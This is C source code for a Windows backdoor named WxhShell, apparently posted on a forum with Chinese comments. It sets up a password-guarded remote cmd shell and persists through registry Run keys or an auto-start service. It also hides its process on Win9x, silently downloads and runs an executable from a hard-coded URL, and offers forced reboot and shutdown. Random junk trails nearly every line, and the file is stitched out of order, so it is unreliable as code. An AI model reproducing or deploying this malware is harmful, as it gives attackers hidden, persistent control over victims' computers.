    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RvA "ug.*  
    else { 2d|^$$#`  
    closesocket(wsh); 0c"9C_7^g  
    ExitThread(0); Oi|cTZ@A-  
    } 5w>TCx  
    break; V$DB4YM1k  
    } AUF[hzA  
  // 获取shell do^=Oq07$  
  case 's': { c[M4l  
    CmdShell(wsh); th*!EFA^o  
    closesocket(wsh); vh2/d.MO  
    ExitThread(0); tlO=>  
    break; ES,JdImZ|  
  } k"[AV2UW1  
  // 退出 1^NC=IS9z  
  case 'x': { ;FwUUKj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pR0 !bgC  
    CloseIt(wsh); _^{RtP#=  
    break; n>JJ Xw,,  
    } hH>a{7V   
  // 离开 #QlxEs#%  
  case 'q': { 6E_~8oEl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]+pE1-p\  
    closesocket(wsh); Rh~j -;  
    WSACleanup(); F6CuY$0m=  
    exit(1); D`41\#ti  
    break; m-C#~Cp36  
        } !4^Lv{1QZ  
  } Ye|gW=FUR  
  } 0?FJ ~pu  
M3KK^YRN  
  // 提示信息  -+qg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BuM #&]s  
} r4FSQ$[9w  
  } FDiDHOR  
,^ -%<  
  return; \s8h.xjU  
} C-49u<; ,  
gYh o$E  
// shell模块句柄 '9vsv\A&  
int CmdShell(SOCKET sock) OFv-bb*YZ  
{ ;X;x.pi   
STARTUPINFO si; xK[ [b  
ZeroMemory(&si,sizeof(si)); :1t&>x=T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p{qA%D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  RF<f  
PROCESS_INFORMATION ProcessInfo; oVUsI,8  
char cmdline[]="cmd"; qe1>UfY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NV{= tAR  
  return 0; xZq, kP^  
} Z< C39s  
jl;N Fk%  
// 自身启动模式 l8Yr]oNkz  
int StartFromService(void) yhK9rcJq6}  
{ -=:tlH n  
typedef struct =dKk #*  
{ Y/mfBkh  
  DWORD ExitStatus; i%f C`@  
  DWORD PebBaseAddress; ,,EG"Um6  
  DWORD AffinityMask; U;ujN8  
  DWORD BasePriority; ~PpU'[  
  ULONG UniqueProcessId; !: vQg+S  
  ULONG InheritedFromUniqueProcessId; b+AxTe("  
}   PROCESS_BASIC_INFORMATION; gi:M=  
 5B1,,8P  
PROCNTQSIP NtQueryInformationProcess; e=jtF"&  
qoph#\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fk2Uxg=[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C_[ d  
?<0'h{zNy  
  HANDLE             hProcess; 3M^`6W[;  
  PROCESS_BASIC_INFORMATION pbi; ze+S_{  
=fy.'+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]t17= Lr?  
  if(NULL == hInst ) return 0; 1G(wESe  
2,|@a\H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G'HLnx}Yi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GXv2B%i8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h52+f  
Pa; *%7  
  if (!NtQueryInformationProcess) return 0; /'v!{m  
`x L@%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yYaYuf  
  if(!hProcess) return 0; )zP"Uuu  
Z>NA 9:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F')E)tV  
\"yR[.Q?   
  CloseHandle(hProcess); EO",|V-  
O9N%dir  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S]&i<V1qX  
if(hProcess==NULL) return 0; f .h$jyp(  
x41t=E](  
HMODULE hMod; "1P2`Ep;  
char procName[255]; _ -ec(w~/  
unsigned long cbNeeded; (d <pxx  
-%VFC^'5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k]TJL9Q  
tJGPkeA  
  CloseHandle(hProcess); N7s9"i  
1mEW]z  
if(strstr(procName,"services")) return 1; // 以服务启动 O1]XoUH<  
9 771D  
  return 0; // 注册表启动 aO<H!hK  
} cwUor}<|  
!VfVpi+-  
// 主模块 ryd}-_LL  
int StartWxhshell(LPSTR lpCmdLine) ,*p(q/kJh~  
{ ?GZ?HK|  
  SOCKET wsl; b DF_  
BOOL val=TRUE; R,zp&L  
  int port=0; 4 >D5t)254  
  struct sockaddr_in door; fG7-0 7  
PO2]x:  
  if(wscfg.ws_autoins) Install(); 5'0kf7  
>R/^[([;]  
port=atoi(lpCmdLine); r^\Wo7q  
\>eFs} Y/  
if(port<=0) port=wscfg.ws_port; D>wo>,G  
Hc q@7g  
  WSADATA data; HOPsp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =4x-x nA  
Hp fTuydU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =0U"07%}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j!"NEh78H  
  door.sin_family = AF_INET; 5_L43-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Rn whkb&&  
  door.sin_port = htons(port); y+VR D  
k#@)gL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;Y &2G'  
closesocket(wsl); C2%Yry  
return 1; JAL"On#c#0  
} l?beqw:  
Cmj `WSSa  
  if(listen(wsl,2) == INVALID_SOCKET) { 'ka"0~:NS{  
closesocket(wsl); 9l7 youZ]  
return 1; Q[Tbdc%1EG  
} Nk>6:Ho{G  
  Wxhshell(wsl); &cx]7:;  
  WSACleanup(); w?c~be$  
4_Rv}Y d  
return 0; &-Z#+>=H(  
]0p*EB=C*  
} 23UXOY0BW  
vf_pEkx*wD  
// 以NT服务方式启动 v-Uz,3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bNz2Uo!0K  
{ _ID =]NJ_  
DWORD   status = 0; /^Lo@672  
  DWORD   specificError = 0xfffffff; E!>l@ ki  
6HR*)*>z_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]h&?^L<.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M$LzV}k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QjUojHz%Z  
  serviceStatus.dwWin32ExitCode     = 0; ;W#/;C _h  
  serviceStatus.dwServiceSpecificExitCode = 0; '#8;bU  
  serviceStatus.dwCheckPoint       = 0; AzBpQb*  
  serviceStatus.dwWaitHint       = 0; c6pGy%T-  
S4X['0rX!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7otqGE\2  
  if (hServiceStatusHandle==0) return; +Sdki::  
$U5$*R@jo[  
status = GetLastError(); X1h*.reFAL  
  if (status!=NO_ERROR) rxIYgh  
{ v]KI=!Gs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y/A<eHLy  
    serviceStatus.dwCheckPoint       = 0; @Cd}1OT)  
    serviceStatus.dwWaitHint       = 0; }A_>J7w  
    serviceStatus.dwWin32ExitCode     = status; ~f%AbDye  
    serviceStatus.dwServiceSpecificExitCode = specificError; cE]#23  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o)6udRzBv  
    return; 8"S? Toqq  
  } evGUSol?:n  
?"q S%EH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7llEB*dSA  
  serviceStatus.dwCheckPoint       = 0; }\\6"90g*  
  serviceStatus.dwWaitHint       = 0; T]J#>LBd  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]z/  
} 'Xzi$}E D  
?GGh )";y  
// 处理NT服务事件,比如:启动、停止 nnO@$T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g|l|)T.s  
{ +^.Q%b0Xx  
switch(fdwControl) ! J@pox-t  
{ `<l|XPv  
case SERVICE_CONTROL_STOP: ,TxZ:f`"  
  serviceStatus.dwWin32ExitCode = 0; t]%! vXo  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kOuQR$9s  
  serviceStatus.dwCheckPoint   = 0; ^l/$ 13=  
  serviceStatus.dwWaitHint     = 0; } u7&SU  
  { UwxrYouv~@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6Bm2_B  
  } 84dej<   
  return; -x1O|q69  
case SERVICE_CONTROL_PAUSE: C!" .[3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6ypqnOTr  
  break; V_7xXuM/  
case SERVICE_CONTROL_CONTINUE: A,s .<TG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @$'1  
  break; MRHkQE+K@8  
case SERVICE_CONTROL_INTERROGATE: P1l@K2r  
  break; #[#dc]D  
}; KBFAV&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eL!G, W  
} /C}fE]n{X  
Kq0hT4w  
// 标准应用程序主函数 J#W>%2 "s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L:F:ZOM6`  
{ jNNl5.  
t| zLR  
// 获取操作系统版本 @V-CG!  
OsIsNt=GetOsVer(); &_E*]Sj\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #0WO~wL  
cBA2;5E  
  // 从命令行安装 ,Pd2ZfZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); [%8+Fa~Wa  
"]`QQT-{0  
  // 下载执行文件 ^i^S1h"  
if(wscfg.ws_downexe) { j{'@g[HW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gB@Wv9 1  
  WinExec(wscfg.ws_filenam,SW_HIDE); fJC,ubP[5  
} 3,B[%!3d  
I1H:h  
if(!OsIsNt) { #B)`dA0a  
// 如果时win9x,隐藏进程并且设置为注册表启动 tgYIM`f  
HideProc(); :PaFC{O)*  
StartWxhshell(lpCmdLine); }a_: oR  
} m"vV=6m|\  
else [ @/[#p  
  if(StartFromService()) 0,;FiOp  
  // 以服务方式启动 jr:LLn#}  
  StartServiceCtrlDispatcher(DispatchTable); k\}qCDs  
else .9g\WH#qD|  
  // 普通方式启动 c~|/,FZU'  
  StartWxhshell(lpCmdLine); 7_/.a9$G  
&[KFCn  
return 0; -}juj;IVv  
} `"CF/X^  
uS|Zkuk[!  
u;:N 4d=f'  
uyG4zV\h*  
=========================================== $P@P}%2  
t5N4d  
J:mOg95<  
%/MK$  
wL 5).`oq  
X6<HNLgra  
" ;o3 .<"  
?t} [Wi}7  
#include <stdio.h> RGtUKr'  
#include <string.h> T "G!H  
#include <windows.h> m x,X!}  
#include <winsock2.h> tY :-13F  
#include <winsvc.h> 9AL\6 @<a*  
#include <urlmon.h> )-a_,3x%j  
C>;yW7*g"  
#pragma comment (lib, "Ws2_32.lib") >8tE`2[i*  
#pragma comment (lib, "urlmon.lib") &:jE+l  
nw5#/5xw  
#define MAX_USER   100 // 最大客户端连接数 t7A.b~#  
#define BUF_SOCK   200 // sock buffer I"JT3[*s  
#define KEY_BUFF   255 // 输入 buffer :WCUHQ+  
w-CuO4P  
#define REBOOT     0   // 重启 ,_lwT}*w  
#define SHUTDOWN   1   // 关机 1=(i{D~  
|$b4 {  
#define DEF_PORT   5000 // 监听端口 I( y Wct  
`?6m0|\@  
#define REG_LEN     16   // 注册表键长度 L6A6|+H%E  
#define SVC_LEN     80   // NT服务名长度 sq)Nn&5A  
KQ9:lJKr  
// 从dll定义API t8)Fkx#8}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {fN_itn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); TPEZ"%=Hg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d) o<R;F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JrL/LGY  
"iZ-AG!C  
// wxhshell配置信息 IW BVfN->}  
struct WSCFG { ?n@PZL= ]  
  int ws_port;         // 监听端口 (%fGS.TR  
  char ws_passstr[REG_LEN]; // 口令 kkOYC?zE?  
  int ws_autoins;       // 安装标记, 1=yes 0=no Mc6Cte]3|  
  char ws_regname[REG_LEN]; // 注册表键名 nC&rQQFF  
  char ws_svcname[REG_LEN]; // 服务名 (x$k\H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?I@3`?'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wc,y+C#V  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 In;z\"NN4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &1':s|c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Jc%>=`f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &&<^wtznO  
bo -Gh`  
}; D@JHi'F  
r 2H'r ,N  
// default Wxhshell configuration }> 1h+O  
struct WSCFG wscfg={DEF_PORT, ~IWi @m{  
    "xuhuanlingzhe", 4rzioIk  
    1, d,)F #;^5  
    "Wxhshell", Z.mV fy%  
    "Wxhshell", <m6I)}K  
            "WxhShell Service", p$%h!.~99T  
    "Wrsky Windows CmdShell Service", }.gg!V'9w  
    "Please Input Your Password: ", u('OHPqq  
  1, 0'~b<>G%  
  "http://www.wrsky.com/wxhshell.exe", XWUT b\@  
  "Wxhshell.exe" Jb$z(?S  
    }; n `Xz<Q!  
2E1TJ.[BS  
// 消息定义模块 =91'.c<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |(H|2]b4 =  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S2s-TpjB<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &S-& 'ZAY  
char *msg_ws_ext="\n\rExit."; 0,A?*CO  
char *msg_ws_end="\n\rQuit."; O#U"c5%  
char *msg_ws_boot="\n\rReboot..."; !KlSw,&=.6  
char *msg_ws_poff="\n\rShutdown..."; x> q3w# B  
char *msg_ws_down="\n\rSave to "; `k\1vum  
`i:0dVs  
char *msg_ws_err="\n\rErr!"; 7lj-Z~1  
char *msg_ws_ok="\n\rOK!"; 7S7!  
aKUr":z  
char ExeFile[MAX_PATH]; |zT0g]WH  
int nUser = 0; i-=ff  
HANDLE handles[MAX_USER]; -$kJERvy  
int OsIsNt;  !fV6KkV  
^ /BE=$E\  
SERVICE_STATUS       serviceStatus; k2WO*xa*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~R8yj(  
@} Z/{Z[@  
// 函数声明 V$_0VN'+Z  
int Install(void); @ixX?N)V  
int Uninstall(void); [;2:lbPx  
int DownloadFile(char *sURL, SOCKET wsh); D vKM>P%|  
int Boot(int flag); bYgYP|@  
void HideProc(void); <EUSl|6  
int GetOsVer(void); "PHv~_:^R  
int Wxhshell(SOCKET wsl); g|HrhUT;  
void TalkWithClient(void *cs); Zll^tF#  
int CmdShell(SOCKET sock); ^U?(g0<"  
int StartFromService(void); 9M=K@a  
int StartWxhshell(LPSTR lpCmdLine); c\'pA^m 6  
8{l=`y"nB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .0-m=3mp2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ykeUS zz2  
? 7EVmF  
// 数据结构和表定义 d&u/7rm  
SERVICE_TABLE_ENTRY DispatchTable[] = |G@)B!>  
{ 3,5wWT] )  
{wscfg.ws_svcname, NTServiceMain}, N9PM.nbd%  
{NULL, NULL} Iz8 ^? >X  
}; !U!E_D.O  
16Y~5JAc  
// 自我安装 MdjLAD)f+C  
int Install(void) JT9<kB/07  
{ *!/#39  
  char svExeFile[MAX_PATH]; H7= z%Y9y  
  HKEY key; .%<&W1  
  strcpy(svExeFile,ExeFile); 4~Pto f@  
Ft rw3OxN  
// 如果是win9x系统,修改注册表设为自启动 [L(l++.z  
if(!OsIsNt) { 7 tpZE+OX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pdHb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r97[!y1gt  
  RegCloseKey(key); 3ky+qoe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l1qwT0*6>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B3t>M) 9  
  RegCloseKey(key); M\6`2q  
  return 0; gc~h!%'.I  
    } uPXqTkod  
  } zs:7!  
} j1C.#-P[  
else { wg.fo:Q  
PZR%8 m}]u  
// 如果是NT以上系统,安装为系统服务 @R&D["!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |Z^g\l.j{  
if (schSCManager!=0) ` W>B8  
{ q$rA-`jw  
  SC_HANDLE schService = CreateService vUs7#*  
  ( O*{H;7Pv  
  schSCManager, !q\w"p0X  
  wscfg.ws_svcname, tuUXW5!/  
  wscfg.ws_svcdisp, ;T+U&U0d|  
  SERVICE_ALL_ACCESS, s3Ce]MH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <'_GQM`G  
  SERVICE_AUTO_START, F\rSYjMyk  
  SERVICE_ERROR_NORMAL, 7YjucPH#  
  svExeFile, [s{:}ZuKc  
  NULL, f4T0Y["QA  
  NULL, %pkq ?9  
  NULL, %d J>8.jW@  
  NULL, @qy*R'+  
  NULL b[;3KmUB  
  ); 'aP*++^   
  if (schService!=0) I<K/d  
  { `>EvT7u  
  CloseServiceHandle(schService); 5 hadA>d  
  CloseServiceHandle(schSCManager); Hk*cO;c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O9X:1>a@i  
  strcat(svExeFile,wscfg.ws_svcname); D>e\OfTR:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l1Q+hz5"*U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Pq>[q?>?  
  RegCloseKey(key); I 47GQho  
  return 0; HHTsHb{7  
    } hr6e1Er  
  } (zDk68=v  
  CloseServiceHandle(schSCManager); Su$1 t  
} [(F<|f:n  
} dd7nO :]  
F'$S!K58  
return 1; $jh>zf  
} O)JUY *&I5  
EJ ~k Z3  
// 自我卸载 Q9xx/tUW  
int Uninstall(void) 9PqgBq   
{ U"Hquo  
  HKEY key; 3t{leuO'  
PbHh?iH  
if(!OsIsNt) {  M .`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K!c@aD:#  
  RegDeleteValue(key,wscfg.ws_regname); eu]iwOc&p  
  RegCloseKey(key); ls7A5 <  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U.7y8#qf3R  
  RegDeleteValue(key,wscfg.ws_regname); `N.$LY;8  
  RegCloseKey(key); eoe^t:5&  
  return 0; Z;~[@7`  
  } 9Y%?)t.2  
} zHOE.V2Qo  
} 'b?.\Bm;  
else { |z]2KjF&w-  
Cm;qDvj+u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )USC  
if (schSCManager!=0) ]z=Vc#+!  
{ L##8+OJ.L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  pl,Z  
  if (schService!=0) lJzy)ne  
  { ^%%5  
  if(DeleteService(schService)!=0) { >-@ U_p  
  CloseServiceHandle(schService); "SU-^z  
  CloseServiceHandle(schSCManager); e_c;D2' F  
  return 0; 5J+V:Xu{  
  } }j(2Dl  
  CloseServiceHandle(schService); .`& /QiD  
  } 1uS-Tx  
  CloseServiceHandle(schSCManager); k gu[!hD1  
} nlebFDb7  
} (5q%0|RzRs  
M 1^C8cz  
return 1; soq".+Q  
} qm}>J^hnB#  
s >VEuLY*  
// 从指定url下载文件 <VaMUm<2  
int DownloadFile(char *sURL, SOCKET wsh) %|(?!w7  
{ C9F+e  
  HRESULT hr; N.{jM[\F  
char seps[]= "/"; 5nx<,-N*BP  
char *token; Az< 9hk  
char *file; yD"0=\  
char myURL[MAX_PATH]; 2>}\XKF).  
char myFILE[MAX_PATH]; ;\.JV '  
$'knK<  
strcpy(myURL,sURL); x]R(twi  
  token=strtok(myURL,seps); $?)3&\)R  
  while(token!=NULL) WTD49_px  
  { 6Z7pztk  
    file=token; N~$Zeq=  
  token=strtok(NULL,seps); G4`Ut1g ^  
  } ytve1<.Ff  
XJ h:U0  
GetCurrentDirectory(MAX_PATH,myFILE); fcE)V#c"g  
strcat(myFILE, "\\"); j:e^7|.   
strcat(myFILE, file); _+*/~E  
  send(wsh,myFILE,strlen(myFILE),0); .i+* #djx  
send(wsh,"...",3,0); @v ~ Pwr!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <m>l-]  
  if(hr==S_OK) PNJe&q0*  
return 0; 0Ox|^V  
else ]`@]<6  
return 1; *F szGn<  
r6n5Jz  
} "@{4.v^}!  
T")i+v  
// 系统电源模块 pYfV~Q^3  
int Boot(int flag) IypWVr   
{ v : "m  
  HANDLE hToken; fi&uB9hc  
  TOKEN_PRIVILEGES tkp; c3V]'~  
!2Y!jz  
  if(OsIsNt) { ?]W~ qgA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Xn/ n|[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `.>k)=F&  
    tkp.PrivilegeCount = 1;  L%WME8PB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8jjFC9Cbn0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *"5N>F[L  
if(flag==REBOOT) { $,KP]~?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w#xeua|*I#  
  return 0; 7<3U?]0  
} z+k=|RMau  
else { ,!I?)hwOC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5c]}G.NV  
  return 0; /^'Bgnez  
} MyH[vE^b  
  } Q sg/ V]  
  else { 5 o#<`_=J  
if(flag==REBOOT) { {Z#e{~m#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >I4p9y(u  
  return 0; |.(CIu~b  
} 4bi NGl~  
else { zj>aaY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h`5YA89  
  return 0; [0&'cu>  
} M@~~f   
} Dn_"B0$lk  
2~!R*i  
return 1; dI^IK  
} ufw3H9F(O  
2e9jo,i  
// win9x进程隐藏模块 h(@R]GUX  
void HideProc(void) <)O >MI' 4  
{ C,A!tj7@  
> -y&$1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :reP} Da7q  
  if ( hKernel != NULL ) 3`A>j"  
  { |(V?,^b^ro  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pWs\.::B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +Qh[sGDdY  
    FreeLibrary(hKernel); F$Im9T6  
  } D XV@DQ  
7}4'dW.  
return; <nWKR,  
} , 3X: )  
TN35CaSmq  
// 获取操作系统版本 F{k$Atb?g/  
int GetOsVer(void) jt{9e:2%  
{ >Mvka;T]  
  OSVERSIONINFO winfo; ~x|aoozL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~:>AR` 9G  
  GetVersionEx(&winfo); #:J: YMv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *@_u4T7|{  
  return 1; {p`mfEE (  
  else Y?yo\(Cdx  
  return 0; D~#Ei?aH  
} i:o}!RZ>  
ZFS7{:  
// 客户端句柄模块  nbI= r+  
int Wxhshell(SOCKET wsl) A4G,}r *n  
{ (CdJ;-@D  
  SOCKET wsh; VF)uu[ f9  
  struct sockaddr_in client; Y1{B c<tC  
  DWORD myID; RU2c*q$^X  
xvU]jl6d  
  while(nUser<MAX_USER) d0(Cn}m"c  
{ <B6[i*&  
  int nSize=sizeof(client); yu)q4C7ek  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q>.BQ;q]  
  if(wsh==INVALID_SOCKET) return 1; ^Q0&.hL@  
?Jt$a;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t5.`! 3EO  
if(handles[nUser]==0) ~>V-*NT8  
  closesocket(wsh); $<B +K  
else 1O |V=K  
  nUser++; 5|ic3  
  } 8-7dokg>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zv //K_  
y 'OlQ2U  
  return 0; "EoDQT"0  
} 3VmI0gsm.>  
dY}pN"  
// 关闭 socket D+Cm<ZT~  
void CloseIt(SOCKET wsh) 5h0>!0  
{ R A:jzht  
closesocket(wsh); ![ZmV  
nUser--; 57~Uqt  
ExitThread(0); nV}8M  
} (}Sr08m  
>$\Bu]{1  
// 客户端请求句柄 gv#4#]  
void TalkWithClient(void *cs) Ia2(Km  
{ C.~ j'5N  
$>*Yhz `  
  SOCKET wsh=(SOCKET)cs; _\.{6""  
  char pwd[SVC_LEN]; k#O,j pbB  
  char cmd[KEY_BUFF]; mwh{"FL(  
char chr[1]; #~^btL'dHF  
int i,j; Ln. 9|9  
rK7W(D}  
  while (nUser < MAX_USER) { '0|o`qoLzA  
7J UbVa%  
if(wscfg.ws_passstr) { +t98 @  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DkgUvn/S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z8HsYf(!  
  //ZeroMemory(pwd,KEY_BUFF); Yd:Q`#7A  
      i=0; f1mHN7hxW  
  while(i<SVC_LEN) { !}y1CA  
hSB?@I4s<\  
  // 设置超时 $Pxb1E  
  fd_set FdRead; B^fT>1P  
  struct timeval TimeOut; t9FDU  
  FD_ZERO(&FdRead); +2RNZEc  
  FD_SET(wsh,&FdRead); )RN<GW'  
  TimeOut.tv_sec=8; ;QBh;jg4  
  TimeOut.tv_usec=0; j!\dn!Xwt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?}}qu'N:N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $5AC1g'  
c%z'xM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8d!GZgC8R  
  pwd=chr[0]; Qzqc .T  
  if(chr[0]==0xd || chr[0]==0xa) { o}8I_o&]U  
  pwd=0; BkawL,  
  break; 3JO]f5  
  } ~6`iY@)  
  i++; *5k+t  
    } wv?RO*E  
gAt~?HvW6  
  // 如果是非法用户,关闭 socket h}Rx_d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i?>tgmu.  
} ~.^AL}zm_  
?cKZ_c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VWx]1\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %MZP)k,&U  
IA4N@ijRxh  
while(1) { .2W"w)$nuq  
mT @ nn,  
  ZeroMemory(cmd,KEY_BUFF); d"E^SBO&  
0*8TS7.3  
      // 自动支持客户端 telnet标准   4zjs!AK%  
  j=0; 5G[x}4U  
  while(j<KEY_BUFF) { ,\YAnKn6_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z^yNLF*&V  
  cmd[j]=chr[0]; qnChM ;)  
  if(chr[0]==0xa || chr[0]==0xd) { 1vnYogL   
  cmd[j]=0; , sjh^-;  
  break; Zd!U')5/  
  } OcmRZ  
  j++; *27*>W1  
    } D3D}DaEYj  
=wVJ%  
  // 下载文件 &xXEnV  
  if(strstr(cmd,"http://")) { tF7hFL5f  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tGjhHp8}c  
  if(DownloadFile(cmd,wsh)) D+JAK!W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x|i_P|Z  
  else k7@t{Cu0D&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8`=v.   
  } 7B7&9<gc  
  else { w(9*7pp  
w_hHfZ9E  
    switch(cmd[0]) { ALc`t(..}A  
  a0=WfeT  
